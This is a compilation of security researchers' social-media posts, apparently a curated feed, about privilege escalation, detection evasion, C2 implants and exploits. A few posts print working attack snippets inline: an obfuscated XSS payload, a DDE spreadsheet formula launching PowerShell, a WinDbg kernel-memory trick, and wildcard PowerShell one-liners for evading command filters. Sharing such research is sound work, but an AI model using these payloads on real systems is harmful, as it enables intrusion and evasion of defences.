wjcsharp

[Karsten Hahn @struppigel]

New blog: Using LLMs the right way for malware analysis

💡Tips for building an autonomous AI analysis lab on a 12 yo laptop and getting stuff done faster without loss of accuracy.

https://t.co/hSd3xwBKGv

[Project Zero Bugs @ProjectZeroBugs]

Bypassing Windows Administrator Protection https://t.co/JSBShX6ezJ

[Silky @S1lky_1337]

Dropping a new article.

It's about a new local privilege escalation technique that becomes viable when a writable system path is present. Yet another technique.

It uses Windows Audio for escalation and doesn't require system reboots.

https://t.co/sw9t5RKoMO

[Threat Intelligence @threatintel]

Our Threat Hunter Team has found some evidence that attackers linked to Black Basta may have exploited CVE-2024-26169 as a zero-day prior to patching https://t.co/AYPMk37Tlu #ZeroDay #Ransomware #BlackBasta

[SEKTOR7 Institute @SEKTOR7net]

Having fun with WinDbg, by @yarden_shafir

#redteam #maldev

https://t.co/VtsmXTshWo

[Lütfü Mert Ceylan @lutfumertceylan]

an XSS payload, Cuneiform-alphabet based

𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

#bugbounty #bugbountytips #cybersecurity

[Shogun Lab @shogun_lab]

I’m excited to finally release a short book that’s about building C2 implants in C++. I hope it can serve as an educational resource for those in Red Teams who want to get started writing their own implants and related C2 components.

You can read it here: https://t.co/CMyRXtSO46

[🥝🏳️‍🌈 Benjamin Delpy @gentilkiwi]

So much fun this morning, a @Microsoft signed #mimikatz

Thank you @jxy__s for your research and a such beautiful code

Now, will wait for people to understand that the "source file" can be really another thing than a file on the disk

[Johnny Shaw @jxy__s]

I’m pleased to present this Windows exploit. Process Herpaderping is a method for evading detection - similar to process migration, hollowing, or doppelganging.

https://t.co/ZoUJkBtOsw

[Maxim Goryachy @h0t_max]

Today we're[+@_markel___ and @_Dmit]disclosing the technique allowing to modify #Intel #Microcode on the fly! For the first time you have the ability to intercept control flow at such a low level. We've developed the microcode patch that changes the processor model string as PoC

[PT SWARM @ptswarm]

We found an Unauthenticated Arbitrary File Read vulnerability in VMware vCenter. VMware revealed that this vulnerability was patched in 6.5u1, but no CVE was assigned.

The PoC ⬇️

[Michael Maltsev @m417z]

Have you ever needed to get an earlier version of the Windows binary you're analyzing? Did you end up downloading Windows ISOs or update packages just for that? Not anymore! Introducing Winbindex:
https://t.co/ISQQIVFyX7
https://t.co/1A42EIiroX

[Jasmin Landry @JR0ch17]

I decided to try and hack an Electron app tonight for the first time in my life and after 2-3 hours of hacking away at it, I finally managed to pop an RCE 😃

[Alex Ionescu @aionescu]

Are you on Windows 10 RS5 or later? Do you really wish that you could easily get a kernel RWX page? Here's a way:

? poi(poi((poi((@$proc&-100000)+10)^poi(poi(poi(poi(poi(poi(poi(poi(@$prcb+18)+220)+648)+8)-240)+2a0)))^-0n6708588087252463955^(@$proc&-100000))-d8)-1080)

[Binni Shah @binitamshah]

A 9-step recipe to crack a NTLMv2 Hash from a freshly acquired .pcap : https://t.co/LQJQKOQV1K cc @801Labs

[wjcsharp @wjcsharp]

@code42 Tried to send email to [email protected] related to a potential security issue. But seems [email protected] not existing.

[0x5A1F @Saif_Sherei]

Awesome new vector for command execution on Latest MSWord by the epic @_staaldraad and myself, enjoy and have fun :D https://t.co/oVtlYgi7Yy

[sailay(valen) @404death]

=cmd|'/c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1

[Project Zero Bugs @ProjectZeroBugs]

Windows: COM Desktop Broker Elevation of Privilege https://t.co/rYKVWYI7f1

[Omar Espino • @omespino]

#Protip can you pop a calc with "C:\>powershell C:\*\*2\n??e*d.*?" ? yes.
bypass blacklisted words filter (or firewalls) via wildcards

C:\>powershell C:\??*?\*3?\c?lc.?x? calc
C:\>powershell C:\*\*2\n??e*d.* notepad
C:\>powershell C:\*\*2\t?s*r.* taskmgr

#BugBounty #infosec